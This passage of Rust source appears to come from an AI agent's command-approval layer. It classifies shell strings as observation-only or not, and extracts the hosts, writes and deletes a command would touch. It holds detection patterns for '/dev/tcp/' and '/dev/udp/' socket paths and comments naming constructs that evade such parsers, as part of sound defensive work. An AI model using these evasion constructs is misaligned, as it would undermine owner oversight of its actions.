    /// The character that ended each segment but the last, in order: `;`,
    /// `|`, `&`, `(`, `)` or a newline. `&&` and `||` are two characters
    /// with an empty segment between them.
    separators: Vec<char>,
}

fn redirect_target(chars: &[char], mut j: usize) -> String {
    while chars.get(j).is_some_and(|c| c.is_whitespace()) {
        j += 1;
    }
    chars[j.min(chars.len())..]
        .iter()
        .take_while(|c| !c.is_whitespace() && !matches!(c, ';' | '|' | '&' | '(' | ')' | '<' | '>'))
        .collect()
}

fn scan(command: &str) -> Scan {
    let command = shell_text(command);
    let chars: Vec<char> = command.chars().collect();
    let mut segments = Vec::new();
    let mut cur = String::new();
    let mut unsafe_syntax = false;
    let mut hidden_syntax = false;
    let mut writes_file = false;
    let mut input_targets = Vec::new();
    let mut output_targets = Vec::new();
    let mut separators = Vec::new();
    let (mut in_single, mut in_double) = (false, false);
    let mut i = 0;
    while i < chars.len() {
        let c = chars[i];
        if in_single {
            hidden_syntax |= c == '\n';
            in_single = c != '\'';
            cur.push(c);
            i += 1;
            continue;
        }
        let next = chars.get(i + 1).copied();
        match c {
            '\\' => {
                cur.push(c);
                if let Some(n) = next {
                    cur.push(n);
                }
                i += 2;
                continue;
            }
            '\n' => {
                unsafe_syntax = true;
                segments.push(std::mem::take(&mut cur));
                separators.push(c);
            }
            '\'' if !in_double => {
                in_single = true;
                cur.push(c);
            }
            '"' => {
                in_double = !in_double;
                cur.push(c);
            }
            // Substitutions expand inside double quotes too.
            '`' => {
                unsafe_syntax = true;
                hidden_syntax = true;
                cur.push(c);
            }
            '$' if next == Some('(') || (next == Some('\'') && !in_double) => {
                unsafe_syntax = true;
                hidden_syntax = true;
                cur.push(c);
            }
            _ if in_double => cur.push(c),
            '#' if cur.chars().last().is_none_or(|p| p.is_whitespace()) => {
                unsafe_syntax = true;
                hidden_syntax = true;
                cur.push(c);
            }
            ';' | '(' | ')' => {
                if c != ';' {
                    unsafe_syntax = true;
                }
                segments.push(std::mem::take(&mut cur));
                separators.push(c);
            }
            '|' | '&' if !(c == '&' && next == Some('>')) => {
                segments.push(std::mem::take(&mut cur));
                separators.push(c);
            }
            '&' => cur.push(c),
            '<' => {
                let target = redirect_target(&chars, i + 1);
                // `N<` opens a file on descriptor N, which the command may
                // read however it likes: not a plain stdin redirect.
                let word: String = cur
                    .chars()
                    .rev()
                    .take_while(|c| !c.is_whitespace())
                    .collect();
                let numbered = !word.is_empty() && word.chars().all(|d| d.is_ascii_digit());
                if numbered
                    || matches!(next, Some('<') | Some('(') | Some('>'))
                    || target.is_empty()
                {
                    unsafe_syntax = true;
                    hidden_syntax = true;
                } else if target != "/dev/null" {
                    input_targets.push(target);
                }
                cur.push(c);
            }
            '>' => {
                let mut j = i + 1;
                if matches!(chars.get(j), Some('>') | Some('|')) {
                    j += 1;
                }
                let mut dup = false;
                if chars.get(j) == Some(&'&') {
                    // `>&WORD` duplicates a descriptor only when WORD is a
                    // number, `-`, or a number then `-`; any other word
                    // (`>&1file`) is a file.
                    let word = redirect_target(&chars, j + 1);
                    let digits = word.trim_end_matches('-');
                    dup = word == "-"
                        || (!digits.is_empty()
                            && digits.chars().all(|d| d.is_ascii_digit())
                            && word.len() - digits.len() <= 1);
                    j += 1;
                }
                if next == Some('(') {
                    unsafe_syntax = true;
                    hidden_syntax = true;
                } else if !dup {
                    let target = redirect_target(&chars, j);
                    if target != "/dev/null" {
                        writes_file = true;
                        if !is_standard_stream(&target) {
                            output_targets.push(target);
                        }
                    }
                }
                cur.extend(&chars[i..j]);
                i = j;
                continue;
            }
            _ => cur.push(c),
        }
        i += 1;
    }
    if in_single || in_double {
        unsafe_syntax = true;
        hidden_syntax = true;
    }
    segments.push(cur);
    Scan {
        segments,
        unsafe_syntax,
        hidden_syntax,
        writes_file,
        input_targets,
        output_targets,
        separators,
    }
}

/// A redirect target that is a process's own stream, not a file.
fn is_standard_stream(target: &str) -> bool {
    matches!(target, "/dev/stdout" | "/dev/stderr")
        || target
            .strip_prefix("/dev/fd/")
            .is_some_and(|fd| !fd.is_empty() && fd.chars().all(|c| c.is_ascii_digit()))
}

fn is_redirect_word(token: &str) -> bool {
    let t = token.trim_start_matches(|c: char| c.is_ascii_digit());
    t.starts_with('>') || t.starts_with('<') || t.starts_with("&>")
}

/// Drop redirection words (and a bare operator's target). The scan has
/// already vetted every redirect.
fn strip_redirections(tokens: Vec<String>) -> Vec<String> {
    let mut out = Vec::new();
    let mut iter = tokens.into_iter();
    while let Some(token) = iter.next() {
        if is_redirect_word(&token) {
            let bare = token.trim_start_matches(|c: char| c.is_ascii_digit());
            if bare.chars().all(|c| matches!(c, '>' | '<' | '&' | '|')) {
                iter.next();
            }
            continue;
        }
        out.push(token);
    }
    out
}

fn is_observation_only(command: &str) -> bool {
    is_observation(command, false)
}

/// An observation whose observers may also read plain input redirects
/// (`cat < file`). For judging where output came from, with the redirect
/// targets checked as operands (`path_operands`); the authority view
/// (`CommandEffects::observation_only`) stays the stricter shape.
pub fn is_observation_reading_input(command: &str) -> bool {
    is_observation(command, true)
}

fn is_observation(command: &str, allow_input_redirects: bool) -> bool {
    let scanned = scan(command);
    if (!allow_input_redirects && !scanned.input_targets.is_empty())
        || scanned.hidden_syntax
        || scanned.separators.contains(&'\n')
        || scanned.writes_file
        || command.contains("/dev/tcp/")
        || command.contains("/dev/udp/")
    {
        return false;
    }
    let Some(commands) = simple_commands(&scanned) else {
        return false;
    };
    !commands.is_empty() && commands.iter().all(|tokens| observing_command(tokens))
}

/// One simple command that only reads or prints.
fn observing_command(tokens: &[String]) -> bool {
    let tokens = without_display_env(tokens);
    let Some(first) = tokens.first() else {
        return false;
    };
    if is_env_assignment(first) {
        return false;
    }
    // `command ls` is the one wrapper that stays an observation.
    let tokens = if first == "command" {
        &tokens[1..]
    } else {
        tokens
    };
    let Some(program) = tokens.first() else {
        return false;
    };
    let name = basename(program);
    program_path_ok(program) && is_program_observation(name, &tokens[1..])
}

/// `tree` is observation-only with only these read-only flags; `-o FILE` and
/// `-R` write files and anything unknown is rejected.
fn tree_args_ok(args: &[String]) -> bool {
    let mut iter = args.iter();
    while let Some(arg) = iter.next() {
        if matches!(arg.as_str(), "-L" | "-I" | "-P") {
            if iter.next().is_none() {
                return false;
            }
        } else if let Some(long) = arg.strip_prefix("--") {
            if !matches!(long, "noreport" | "dirsfirst") {
                return false;
            }
        } else if let Some(cluster) = arg.strip_prefix('-')
            && (cluster.is_empty() || !cluster.chars().all(|c| "adfshDCn".contains(c)))
        {
            return false;
        }
    }
    true
}

fn short_cluster_has(arg: &str, letters: &[char]) -> bool {
    arg.starts_with('-') && !arg.starts_with("--") && arg.chars().any(|c| letters.contains(&c))
}

/// `date` only reads the clock with display flags and at most one `+format`.
/// Any other positional is a new time to set, on BSD and GNU alike.
fn date_args_observe(args: &[String]) -> bool {
    let is_format = |arg: &String| arg.starts_with('+');
    args.iter().filter(|arg| is_format(arg)).count() <= 1
        && args.iter().all(|arg| {
            is_format(arg)
                || matches!(
                    arg.as_str(),
                    "-u" | "--utc" | "--universal" | "-R" | "--rfc-email"
                )
                || arg.starts_with("-I")
                || arg == "--iso-8601"
                || arg.starts_with("--iso-8601=")
        })
}

/// `find` observes unless it deletes, writes a file or runs a command; an
/// `-exec`/`-execdir` whose command is itself an observation
/// (`-exec stat -f %z {} +`) observes too. `-ok`/`-okdir` prompt.
fn find_args_observe(args: &[String]) -> bool {
    let mut index = 0;
    while let Some(arg) = args.get(index) {
        match arg.as_str() {
            "-exec" | "-execdir" => {
                let rest = &args[index + 1..];
                let Some(end) = rest
                    .iter()
                    .position(|token| matches!(token.as_str(), ";" | "\\;" | "+"))
                else {
                    return false;
                };
                if end == 0 || !observing_command(&rest[..end]) {
                    return false;
                }
                index += end + 2;
            }
            flag if FIND_MUTATING_FLAGS.contains(&flag) => return false,
            _ => index += 1,
        }
    }
    true
}

/// `sysctl` reads with display flags and variable names; a `name=value`,
/// `-w`, or loading a file (`-p`, `-f`, `--system`, `--load`) writes.
fn sysctl_args_read(args: &[String]) -> bool {
    args.iter().all(|arg| match arg.strip_prefix('-') {
        Some(long) if long.starts_with('-') => {
            matches!(long, "-all" | "-values" | "-names")
        }
        Some(cluster) => {
            !cluster.is_empty() && cluster.chars().all(|ch| "naAehNqxbdoX".contains(ch))
        }
        None => {
            !arg.contains('=')
                && arg
                    .chars()
                    .all(|ch| ch.is_ascii_alphanumeric() || matches!(ch, '.' | '_' | '-'))
        }
    })
}

/// `top` that takes a bounded number of samples and exits: `-l N` (macOS)
/// or batch mode with `-n N` (procps). Anything else waits on a terminal.
fn top_samples_and_exits(args: &[String]) -> bool {
    let positive = |value: Option<&String>| {
        value.is_some_and(|value| value.parse::<u32>().is_ok_and(|n| n >= 1))
    };
    let mac = args
        .iter()
        .position(|arg| arg == "-l")
        .is_some_and(|index| positive(args.get(index + 1)));
    let batch = args.iter().any(|arg| arg == "-b" || arg == "-bn1")
        && (args.iter().any(|arg| arg == "-bn1")
            || args
                .iter()
                .position(|arg| arg == "-n")
                .is_some_and(|index| positive(args.get(index + 1))));
    mac || batch
}

/// A `sleep` operand: a non-negative number with an optional s/m/h/d unit.
fn is_sleep_duration(arg: &str) -> bool {
    let number = arg.strip_suffix(['s', 'm', 'h', 'd']).unwrap_or(arg);
    !number.is_empty()
        && number.chars().all(|ch| ch.is_ascii_digit() || ch == '.')
        && number.parse::<f64>().is_ok_and(f64::is_finite)
}

fn observation_args_ok(program: &str, args: &[String]) -> bool {
    let any = |pred: &dyn Fn(&str) -> bool| args.iter().any(|arg| pred(arg));
    match program {
        "find" => find_args_observe(args),
        "sysctl" => sysctl_args_read(args),
        "top" => top_samples_and_exits(args),
        "rg" => !any(&|a| {
            a == "--pre"
                || a.starts_with("--pre=")
                || a.starts_with("--pre-glob")
                || a.starts_with("--hostname-bin")
                || a == "--search-zip"
                || short_cluster_has(a, &['z'])
        }),
        "sort" => !any(&|a| {
            a.starts_with("--compress-program")
                || a.starts_with("--output")
                || short_cluster_has(a, &['o'])
        }),
        // A bare `-` is a positional (stdin), so `uniq - out` writes `out`.
        "uniq" => {
            args.iter()
                .filter(|arg| !arg.starts_with('-') || arg.as_str() == "-")
                .count()
                < 2
        }
        "tree" => tree_args_ok(args),
        "date" => date_args_observe(args),
        // A name operand (or `-F file`) sets the host name.
        "hostname" => args
            .iter()
            .all(|arg| matches!(arg.as_str(), "-s" | "-f" | "--short" | "--fqdn")),
        // Waiting does nothing else; a bounded duration (`18`, `0.5`, `2m`).
        // `infinity` never returns and is left to the owner.
        "sleep" => !args.is_empty() && args.iter().all(|arg| is_sleep_duration(arg)),
        "file" => !any(&|a| {
            a == "--compile" || a.starts_with("--magic-file") || short_cluster_has(a, &['C', 'm'])
        }),
        "git" => {
            let mut index = 0;
            while let Some(arg) = args.get(index).filter(|arg| arg.starts_with('-')) {
                // The classifier has no roots, so it cannot vouch for a
                // redirected repository.
                if arg == "-C" || arg.starts_with("--git-dir") || arg.starts_with("--work-tree") {
                    return false;
                }
                if arg == "-c" || arg.starts_with("--config-env") || arg.starts_with("--exec-path")
                {
                    return false;
                }
                index += 1;
            }
            let Some(subcommand) = args.get(index) else {
                return false;
            };
            let rest = &args[index + 1..];
            if rest
                .iter()
                .any(|a| a == "--ext-diff" || a.starts_with("--output") || a == "--textconv")
            {
                return false;
            }
            if GIT_OBSERVATION_SUBCOMMANDS.contains(&subcommand.as_str()) {
                return true;
            }
            subcommand == "branch"
                && rest.iter().all(|arg| {
                    matches!(
                        arg.as_str(),
                        "--list" | "-a" | "-r" | "-v" | "--show-current"
                    )
                })
        }
        _ => true,
    }
}

/// Bodies of `$(...)` and backtick substitutions (any nesting), so a command
/// hidden in a double-quoted substitution is still examined.
fn substitution_bodies(command: &str) -> Vec<String> {
    let chars: Vec<char> = command.chars().collect();
    let mut bodies = Vec::new();
    let mut in_single = false;
    let mut i = 0;
    while i < chars.len() {
        let c = chars[i];
        if c == '\'' {
            in_single = !in_single;
        } else if !in_single && c == '\\' {
            i += 1;
        } else if !in_single && c == '$' && chars.get(i + 1) == Some(&'(') {
            let mut depth = 1;
            let mut j = i + 2;
            while j < chars.len() && depth > 0 {
                match chars[j] {
                    '(' => depth += 1,
                    ')' => depth -= 1,
                    _ => {}
                }
                j += 1;
            }
            let end = if depth == 0 { j - 1 } else { j };
            bodies.push(chars[i + 2..end].iter().collect());
        } else if !in_single
            && c == '`'
            && let Some(len) = chars[i + 1..].iter().position(|&x| x == '`')
        {
            bodies.push(chars[i + 1..i + 1 + len].iter().collect());
            i += len + 1;
        }
        i += 1;
    }
    bodies
}

/// Every command reachable from `command`: each segment, substitution body,
/// `sh -c` script, and the inner command behind any wrapper. Each entry is a
/// non-empty token list whose first token is the executable.
fn expanded_commands(command: &str) -> Vec<Vec<String>> {
    let mut out = Vec::new();
    collect_commands(command, 0, &mut out);
    out
}

const MAX_DEPTH: usize = 4;

fn collect_commands(command: &str, depth: usize, out: &mut Vec<Vec<String>>) {
    if depth > MAX_DEPTH {
        return;
    }
    for segment in scan(command).segments {
        if segment.trim().is_empty() {
            continue;
        }
        let tokens = shell_words::split(&segment)
            .unwrap_or_else(|_| segment.split_whitespace().map(str::to_string).collect());
        push_with_wrappers(strip_redirections(tokens), depth, out);
    }
    for body in substitution_bodies(command) {
        collect_commands(&body, depth + 1, out);
    }
    for invocation in structural_shell_invocations(command) {
        let mut tokens = vec![invocation.program];
        tokens.extend(invocation.arguments);
        push_with_wrappers(tokens, depth, out);
    }
}

fn push_with_wrappers(mut tokens: Vec<String>, depth: usize, out: &mut Vec<Vec<String>>) {
    if depth > MAX_DEPTH || tokens.len() > 64 {
        return;
    }
    while tokens.first().is_some_and(|t| is_env_assignment(t)) {
        tokens.remove(0);
    }
    let Some(first) = tokens.first() else {
        return;
    };
    let program = basename(first).to_string();
    out.push(tokens.clone());
    if WRAPPERS.contains(&program.as_str()) {
        for start in 1..tokens.len() {
            push_with_wrappers(tokens[start..].to_vec(), depth + 1, out);
        }
    }
    if program == "find" {
        for (index, token) in tokens.iter().enumerate() {
            if matches!(token.as_str(), "-exec" | "-execdir" | "-ok" | "-okdir") {
                push_with_wrappers(tokens[index + 1..].to_vec(), depth + 1, out);
            }
        }
    }
}

// ---------------------------------------------------------------------------
// Typed call effects
// ---------------------------------------------------------------------------
//
// What a call does, for the kernel's decline memory and the approval and
// egress policies. Keys are built only with the kernel constructors.
//
// A shell command is NEVER declared complete. A shell string cannot be
// proven fully described: each review round found another construct
// (`>&1file`, `find -follow`, `curl -w @file`, ...). Completeness would only
// spare the owner one re-ask after a decline, while the declared keys bind
// declines either way. So `shell_call_effects` always returns
// `complete: false` and the parser below is best-effort key extraction.
//
// The grammar still decides which keys are extracted, and a wrong key is
// worse than none:
// - a known observation, or a program from the tables below, in a shape
//   where every option is listed with its arity (a flag or one value);
//   anything else is opaque and contributes no keys of its own;
// - an unquoted brace, glob, `$`, backtick, backslash or `~user` (or an
//   expansion inside double quotes) marks the segment opaque;
// - a URL is read only in its strict form
//   (`scheme://[userinfo@]host[:port][/path][?q][#f]`, ASCII, one `@` at
//   most, a DNS name or IP literal, no curl glob characters) and only with a
//   known port; a bare host must be a DNS name or IP literal;
// - a path resolves physically (see `shell_path_effects`); after `cd`,
//   `pushd` or `popd` no relative path resolves, and a `~` attached to an
//   option value stays literal, as in the shell.
//
// Residuals, ambient to the programs and not modelled: configuration they
// read themselves (`~/.curlrc`, `~/.ssh/config` host aliases, git
// `insteadOf`), files they maintain (`~/.wget-hsts`, `~/.ssh/known_hosts`),
// proxy variables inherited from the daemon's environment, and redirects a
// server returns (re-validated per hop by the destination policy).

/// An egress effect on `host`, with IPv6 brackets stripped so `[::1]` and
/// `::1` name one host. `None` for an empty or unreadable host.
pub fn egress_effect(scheme: &str, host: &str, port: Option<u16>) -> Option<EffectKey> {
    let host = host.trim();
    let bare = match host.strip_prefix('[') {
        // A bracketed host is an IPv6 literal and nothing else.
        Some(inner) => {
            let inner = inner.strip_suffix(']')?;
            inner.parse::<std::net::Ipv6Addr>().ok()?;
            inner
        }
        None => host,
    };
    if !valid_host(bare) {
        return None;
    }
    Some(EffectKey::egress(scheme, bare, port))
}

/// A DNS name (ASCII letters, digits and inner hyphens per label; a trailing
/// dot allowed) or an IPv4 or IPv6 literal. Rejects every character a shell
/// or curl could expand (`{ } * ? [ ] ,`).
fn valid_host(host: &str) -> bool {
    if host.parse::<std::net::Ipv4Addr>().is_ok() || host.parse::<std::net::Ipv6Addr>().is_ok() {
        return true;
    }
    let name = host.strip_suffix('.').unwrap_or(host);
    !name.is_empty()
        && name.len() <= 253
        && name.split('.').all(|label| {
            !label.is_empty()
                && label.len() <= 63
                && !label.starts_with('-')
                && !label.ends_with('-')
                && label.chars().all(|c| c.is_ascii_alphanumeric() || c == '-')
        })
}

/// Default ports the kernel's egress constructor does not know.
fn scheme_default_port(scheme: &str) -> Option<u16> {
    match scheme {
        "git" => Some(9418),
        "rsync" => Some(873),
        "ssh" | "git+ssh" | "ssh+git" | "sftp" | "scp" => Some(22),
        _ => None,
    }
}

/// The egress effect of a URL in its strict form
/// (`scheme://[userinfo@]host[:port][/path][?query][#fragment]`). `None` for
/// anything else: no scheme (programs guess one), non-ASCII, whitespace,
/// control characters, `\\`, quotes, shell expansion, more than one `@` in
/// the authority, a host that is not a DNS name or IP literal, a bad port,
/// or curl glob characters (`{ } [ ] * ,`) outside an IPv6 host literal. The
/// host must also be the one the URL crate reads, so a program's parser and
/// ours cannot disagree.
pub fn url_effect(raw: &str) -> Option<EffectKey> {
    let url = strict_url(raw)?;
    url_host_effect(&url)
}

fn strict_url(raw: &str) -> Option<reqwest::Url> {
    if raw.is_empty()
        || !raw.is_ascii()
        || raw.chars().any(|c| {
            c.is_ascii_whitespace()
                || c.is_ascii_control()
                || matches!(c, '\\' | '$' | '`' | '"' | '\'' | '{' | '}' | '*' | ',')
        })
    {
        return None;
    }
    let (scheme, rest) = raw.split_once("://")?;
    let mut scheme_chars = scheme.chars();
    if !scheme_chars.next()?.is_ascii_alphabetic()
        || !scheme_chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '+' | '-' | '.'))
    {
        return None;
    }
    let authority_end = rest.find(['/', '?', '#']).unwrap_or(rest.len());
    let (authority, tail) = rest.split_at(authority_end);
    // Brackets belong only to an IPv6 host literal.
    if tail.contains(['[', ']']) || authority.matches('@').count() > 1 {
        return None;
    }
    let host_port = authority
        .rsplit_once('@')
        .map_or(authority, |(_, host)| host);
    let (host, port) = match host_port.strip_prefix('[') {
        Some(after) => {
            let (inner, port) = after.split_once(']')?;
            (format!("[{inner}]"), port)
        }
        None => match host_port.split_once(':') {
            Some((host, _)) => (host.to_string(), &host_port[host.len()..]),
            None => (host_port.to_string(), ""),
        },
    };
    if host.contains(['[', ']']) && !host.starts_with('[') {
        return None;
    }
    if let Some(digits) = port.strip_prefix(':') {
        if digits.is_empty() || digits.len() > 5 || !digits.chars().all(|c| c.is_ascii_digit()) {
            return None;
        }
        digits.parse::<u16>().ok()?;
    } else if !port.is_empty() {
        return None;
    }
    egress_effect(scheme, &host, None)?;
    let url = reqwest::Url::parse(raw).ok()?;
    let normalize = |host: &str| host.trim_end_matches('.').to_ascii_lowercase();
    (normalize(url.host_str()?) == normalize(&host)).then_some(url)
}

/// The egress effect of a parsed URL: its host and its explicit port, else
/// the scheme's default.
pub fn url_host_effect(url: &reqwest::Url) -> Option<EffectKey> {
    let scheme = url.scheme();
    // No key rather than a wrong one: a scheme whose default port is not
    // known here (`dict`, `ldap`, `telnet`) would otherwise be port 0.
    let port = url
        .port()
        .or_else(|| scheme_default_port(scheme))
        .or_else(|| url.port_or_known_default())?;
    egress_effect(scheme, url.host_str()?, Some(port))
}

/// A path argument as an absolute path, when it can be read structurally:
/// `~` and `~/…` expand to the home directory, a relative path resolves
/// against `cwd` (an absolute directory). `None` for shell expansion or
/// globbing, `~user`, or a relative path with no known working directory.
/// Every effect a path declares is read this way, so a delete and a write
/// of the same argument name the same path.
fn structural_absolute_path(raw: &str, cwd: Option<&str>) -> Option<String> {
    let raw = raw.trim();
    if raw.is_empty() || raw.contains(['$', '`', '*', '?', '[', ']', '{', '}', '\\', '\0']) {
        return None;
    }
    let expanded = if raw == "~" || raw.starts_with("~/") {
        format!("{}{}", dirs::home_dir()?.to_str()?, &raw[1..])
    } else if raw.starts_with('~') {
        return None;
    } else {
        raw.to_string()
    };
    if crate::BackendPath::is_absolute(&expanded) {
        return Some(expanded);
    }
    let cwd = cwd
        .map(str::trim)
        .filter(|cwd| crate::BackendPath::is_absolute(cwd))?;
    Some(format!("{}/{expanded}", cwd.trim_end_matches('/')))
}

/// A path effect on `raw`, absolute and normalized: `~/` expands to the home
/// directory and a relative path resolves against `cwd` (an absolute
/// directory). On disk the nearest existing ancestor is canonicalized, so an
/// existing path is declared by its canonical form (symlinks resolved, and on
/// macOS case and `/tmp` as `/private/tmp`) and a new one below it agrees with
/// it. A `Delete` keeps its last component: removing a symlink removes the
/// link. `None` when the path cannot be read structurally (shell expansion)
/// or is relative with no known working directory.
pub fn path_effect(class: EffectClass, raw: &str, cwd: Option<&str>) -> Option<EffectKey> {
    let absolute = structural_absolute_path(raw, cwd)?;
    let lexical = EffectKey::path(class, &absolute)?;
    Some(resolved_on_disk(class, lexical))
}

fn resolved_on_disk(class: EffectClass, lexical: EffectKey) -> EffectKey {
    let path = std::path::Path::new(&lexical.target);
    let (base, leaf) = match (class, path.parent(), path.file_name()) {
        (EffectClass::Delete, Some(parent), Some(name)) => (parent, Some(name)),
        _ => (path, None),
    };
    for ancestor in base.ancestors() {
        let Ok(mut real) = dunce::canonicalize(ancestor) else {
            continue;
        };
        if let Ok(rest) = base.strip_prefix(ancestor)
            && !rest.as_os_str().is_empty()
        {
            real.push(rest);
        }
        if let Some(leaf) = leaf {
            real.push(leaf);
        }
        return real
            .to_str()
            .and_then(|real| EffectKey::path(class, real))
            .unwrap_or(lexical);
    }
    lexical
}

/// A path operand of a shell command, resolved the way the OS resolves it:
/// the longest existing prefix of the RAW path (`..` not folded first, so
/// `link/..` is the link target's parent) is canonicalized, then the rest is
/// appended. A `Delete` also declares the entry as named (its parent
/// canonicalized, its last component kept), so both a symlink and, through a
/// trailing `/`, its target are covered. `None` when the path cannot be read
/// (shell expansion, relative with no working directory), when an existing
/// prefix cannot be canonicalized (a dangling symlink), or when `..` follows
/// a component that does not exist.
pub fn shell_path_effects(
    class: EffectClass,
    raw: &str,
    cwd: Option<&str>,
) -> Option<Vec<EffectKey>> {
    let absolute = structural_absolute_path(raw, cwd)?;
    let components: Vec<&str> = absolute
        .split('/')
        .filter(|part| !part.is_empty() && *part != ".")
        .collect();
    let mut existing = components.len();
    let base = loop {
        let prefix = format!("/{}", components[..existing].join("/"));
        if std::fs::symlink_metadata(&prefix).is_ok() {
            break dunce::canonicalize(&prefix).ok()?;
        }
        existing -= 1;
    };
    let rest = &components[existing..];
    if rest.contains(&"..") {
        return None;
    }
    let mut physical = base;
    for part in rest {
        physical.push(part);
    }
    let mut keys = vec![EffectKey::path(class, physical.to_str()?)?];
    if class == EffectClass::Delete {
        let named = path_effect(class, raw, cwd)?;
        if !keys.contains(&named) {
            keys.push(named);
        }
    }
    Some(keys)
}

/// Whether the active execution backend is this machine, so paths resolve on
/// the local disk.
pub fn execution_backend_is_local(backend: &dyn crate::backend::ExecutionBackend) -> bool {
    backend.kind() == crate::backend::BackendKind::Local
}

/// Effects on a remote (SSH, Docker) workspace: its paths cannot be
/// resolved on this disk, so path keys are dropped and the effects are
/// incomplete. Egress keys stay.
pub fn without_local_paths(mut effects: CallEffects) -> CallEffects {
    effects.keys.retain(|key| {
        !matches!(
            key.class,
            EffectClass::Write | EffectClass::Delete | EffectClass::Configuration
        )
    });
    effects.complete = false;
    effects.understood = false;
    effects
}

/// The effects of `write_file`/`edit_file`: a write of the path argument
/// (or its aliases). A relative path, or any path on a remote workspace, is
/// undeterminable here.
pub fn file_tool_write_effects(
    backend: &dyn crate::backend::ExecutionBackend,
    arguments: &str,
) -> CallEffects {
    if !execution_backend_is_local(backend) {
        return CallEffects::unknown();
    }
    let path = serde_json::from_str::<serde_json::Value>(arguments)
        .ok()
        .and_then(|args| {
            ["path", "file_path", "file", "filename"]
                .iter()
                .find_map(|key| {
                    args.get(*key)
                        .and_then(|value| value.as_str())
                        .map(str::to_string)
                })
        });
    match path.and_then(|path| path_effect(EffectClass::Write, &path, None)) {
        Some(key) => CallEffects {
            keys: vec![key],
            complete: true,
            understood: false,
        },
        None => CallEffects::unknown(),
    }
}

/// The typed effects of a shell command run in `cwd` (an absolute directory,
/// if known): egress hosts from the URL operands of network programs,
/// deletes, and writes from output redirects, `tee`, `cp`/`mv`
/// destinations, `touch` and `mkdir`. NEVER complete: a shell string cannot
/// be proven fully described (every review round found another construct),
/// and the keys bind the owner's declines either way. It is `understood`
/// when every segment is a program this scan models, with literal operands
/// it resolved (no substitution, expansion, `cd` or unknown program): the
/// owner is then asked again after a decline only for a call that deletes
/// or reaches outside, not for a plain copy into the work area followed by
/// `ls` and `date` (live 2026-11-13).
pub fn shell_call_effects(command: &str, cwd: Option<&str>) -> CallEffects {
    let analysis = analyze_shell(command, cwd);
    CallEffects {
        keys: analysis.keys,
        complete: false,
        understood: analysis.complete,
    }
}

struct ShellAnalysis {
    keys: Vec<EffectKey>,
    /// Every effect is in `keys`.
    complete: bool,
}

impl ShellAnalysis {
    fn add(&mut self, key: EffectKey) {
        if !self.keys.contains(&key) {
            self.keys.push(key);
        }
    }

    /// A segment that may do anything, including reach the network.
    fn opaque(&mut self) {
        self.complete = false;
    }

    /// A local target that cannot be named.
    fn unresolved(&mut self) {
        self.complete = false;
    }

    fn path(&mut self, class: EffectClass, raw: &str, cwd: Option<&str>) {
        // A word glued to a redirect (`a>b`) is not the operand it looks like.
        if raw.contains(['<', '>']) {
            self.unresolved();
            return;
        }
        match shell_path_effects(class, raw, cwd) {
            Some(keys) => keys.into_iter().for_each(|key| self.add(key)),
            None => self.unresolved(),
        }
    }

    fn egress(&mut self, key: Option<EffectKey>) {
        match key {
            Some(key) => self.add(key),
            None => self.opaque(),
        }
    }
}

/// `command` without the text the shell does not execute as commands:
/// heredoc bodies (from the line after `<<WORD` up to the line `WORD`, with
/// leading tabs stripped for `<<-`), comments (an unquoted `#` at the start
/// of a word, up to the end of the line), and newlines inside quotes, which
/// become NUL so a quoted string never splits into command lines (and a NUL
/// makes any key from that word fail its check). The `<<` itself stays, so
/// the scan still treats the line as opaque, and the heredoc's own redirect
/// target is still read.
fn executed_text(command: &str) -> String {
    let command = shell_text(command);
    let chars: Vec<char> = command.chars().collect();
    let mut out = String::with_capacity(command.len());
    let (mut in_single, mut in_double) = (false, false);
    // Heredocs opened on the current line: (delimiter, strip leading tabs).
    let mut pending: Vec<(String, bool)> = Vec::new();
    let mut i = 0;
    while i < chars.len() {
        let c = chars[i];
        if in_single || in_double {
            if c == '\n' {
                out.push('\0');
            } else {
                out.push(c);
                if c == '\\' && in_double {
                    if let Some(&next) = chars.get(i + 1) {
                        out.push(if next == '\n' { '\0' } else { next });
                        i += 1;
                    }
                } else if (c == '\'' && in_single) || (c == '"' && in_double) {
                    in_single = false;
                    in_double = false;
                }
            }
            i += 1;
            continue;
        }
        match c {
            '\\' => {
                out.push(c);
                if let Some(&next) = chars.get(i + 1) {
                    out.push(next);
                    i += 1;
                }
            }
            '\'' => {
                in_single = true;
                out.push(c);
            }
            '"' => {
                in_double = true;
                out.push(c);
            }
            '#' if out
                .chars()
                .last()
                .is_none_or(|p| p.is_whitespace() || matches!(p, ';' | '|' | '&' | '(' | ')')) =>
            {
                while i < chars.len() && chars[i] != '\n' {
                    i += 1;
                }
                continue;
            }
            '<' if chars.get(i + 1) == Some(&'<') && chars.get(i + 2) != Some(&'<') => {
                out.push_str("<<");
                let mut j = i + 2;
                let strip_tabs = chars.get(j) == Some(&'-');
                if strip_tabs {
                    out.push('-');
                    j += 1;
                }
                while chars.get(j).is_some_and(|c| *c == ' ' || *c == '\t') {
                    out.push(chars[j]);
                    j += 1;
                }
                let mut delimiter = String::new();
                while let Some(&d) = chars.get(j) {
                    if d.is_whitespace() || matches!(d, ';' | '|' | '&' | '<' | '>' | '(' | ')') {
                        break;
                    }
                    out.push(d);
                    if !matches!(d, '\'' | '"' | '\\') {
                        delimiter.push(d);
                    }
                    j += 1;
                }
                pending.push((delimiter, strip_tabs));
                i = j;
                continue;
            }
            '\n' => {
                out.push('\n');
                // Skip each pending heredoc's body and its delimiter line.
                for (delimiter, strip_tabs) in std::mem::take(&mut pending) {
                    loop {
                        i += 1;
                        if i >= chars.len() {
                            break;
                        }
                        let end = chars[i..]
                            .iter()
                            .position(|c| *c == '\n')
                            .map_or(chars.len(), |offset| i + offset);
                        let line: String = chars[i..end].iter().collect();
                        let line = if strip_tabs {
                            line.trim_start_matches('\t')
                        } else {
                            line.as_str()
                        };
                        let done = line == delimiter;
                        i = end;
                        if done {
                            break;
                        }
                    }
                }
            }
            _ => out.push(c),
        }
        i += 1;
    }
    out
}

fn analyze_shell(command: &str, cwd: Option<&str>) -> ShellAnalysis {
    let mut out = ShellAnalysis {
        keys: Vec::new(),
        complete: true,
    };
    if command.contains("/dev/tcp/") || command.contains("/dev/udp/") || command.contains("$'") {
        out.opaque();
    }
    // A `cd` moves where later relative paths resolve, so the scan follows
    // it: a literal `cd DIR` that the rest of the script runs after (`&&`,
    // `||`, `;` or a new line) moves the directory paths resolve against.
    // Anything else (`pushd`/`popd`, a `cd` in a pipe, subshell or the
    // background, or to an expanded word) leaves no relative path known.
    // The call stays incomplete: a `cd` that fails before `;` leaves the
    // script where it was. The same opaque script reworded around a `cd`
